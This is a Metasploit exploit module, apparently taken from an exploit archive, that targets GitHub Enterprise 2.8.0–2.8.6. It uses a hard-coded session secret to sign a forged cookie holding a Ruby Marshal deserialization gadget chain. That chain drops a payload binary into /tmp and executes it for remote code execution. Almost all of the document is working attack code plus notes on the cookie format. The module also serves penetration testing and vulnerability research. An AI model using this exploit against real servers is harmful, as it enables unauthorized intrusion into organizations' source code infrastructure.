Github Enterprise Default Session Secret And Deserialization

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",  
'Description' => %q{  
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.  
The first is that the session management uses a hard-coded secret value, which can be  
abused to sign a serialized malicious Ruby object. The second problem is due to the  
use of unsafe deserialization, which allows the malicious Ruby object to be loaded,  
and results in arbitrary remote code execution.  
  
This exploit was tested against version 2.8.0.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)  
'sinn3r' # Porting the PoC to Metasploit  
],  
'References' =>  
[  
[ 'EDB', '41616' ],  
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],  
[ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version  
],  
'Platform' => 'linux',  
'Targets' =>  
[  
[ 'Github Enterprise 2.8', { } ]  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'RPORT' => 8443  
},  
'Privileged' => false,  
'DisclosureDate' => 'Mar 15 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])  
], self.class)  
end  
  
def secret  
'641dd6454584ddabfed6342cc66281fb'  
end  
  
def check  
uri = normalize_uri(target_uri.path, 'setup', 'unlock')  
res = send_request_cgi!({  
'method' => 'GET',  
'uri' => uri,  
'vars_get' =>{  
'redirect_to' => '/'  
}  
})  
  
unless res  
vprint_error('Connection timed out.')  
return Exploit::CheckCode::Unknown  
end  
  
unless res.get_cookies.match(/^_gh_manage/)  
vprint_error('No _gh_manage value in cookie found')  
return Exploit::CheckCode::Safe  
end  
  
cookies = res.get_cookies  
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")  
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)  
data = gh_manage_value.split('--').first  
hmac = gh_manage_value.split('--').last.split(';', 2).first  
vprint_status("Data: #{data.gsub(/\n/, '')}")  
vprint_status("Extracted HMAC: #{hmac}")  
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)  
vprint_status("Expected HMAC: #{expected_hmac}")  
  
if expected_hmac == hmac  
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def get_ruby_code  
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"  
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"  
register_file_for_cleanup(b64_fname, bin_fname)  
p = Rex::Text.encode_base64(generate_payload_exe)  
  
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "  
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "  
c << "%x(chmod +x #{bin_fname}); "  
c << "%x(#{bin_fname})"  
c  
end  
  
  
def serialize  
# We don't want to run this code within the context of Framework, so we run it as an  
# external process.  
# Brilliant trick from Brent and Adam to overcome the issue.  
ruby_code = %Q|  
module Erubis;class Eruby;end;end  
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end  
  
erubis = Erubis::Eruby.allocate  
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"  
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate  
proxy.instance_variable_set :@instance, erubis  
proxy.instance_variable_set :@method, :result  
proxy.instance_variable_set :@var, "@result"  
  
session =  
{  
'session_id' => '',  
'exploit' => proxy  
}  
  
print Marshal.dump(session)  
|  
  
serialized_output = `ruby -e "#{ruby_code}"`  
  
serialized_object = [serialized_output].pack('m')  
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)  
  
return serialized_object, hmac  
end  
  
def send_serialized_data(dump, hmac)  
uri = normalize_uri(target_uri.path)  
gh_manage_value = CGI.escape("#{dump}--#{hmac}")  
cookie = "_gh_manage=#{gh_manage_value}"  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'cookie' => cookie  
})  
  
if res  
print_status("Server returned: #{res.code}")  
end  
end  
  
def exploit  
dump, hmac = serialize  
print_status('Serialized Ruby stager')  
  
print_status('Sending serialized Ruby stager...')  
send_serialized_data(dump, hmac)  
end  
  
end  
  
=begin  
  
Handy information:  
  
To deobfuscate Github code, use this script:  
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42  
  
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this  
algorithm:  
  
* Takes the session hash (Json) in env['rack.session']  
* Marshal.dump the hash into a string  
* Base64 the string  
* Append a hash of the data at the end of the string to prevent tampering.  
* The signed data is saved in _gh_manage'  
  
The format looks like this:  
  
[ DATA ]--[ Hash ]  
  
Also see:  
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb  
  
=end  
`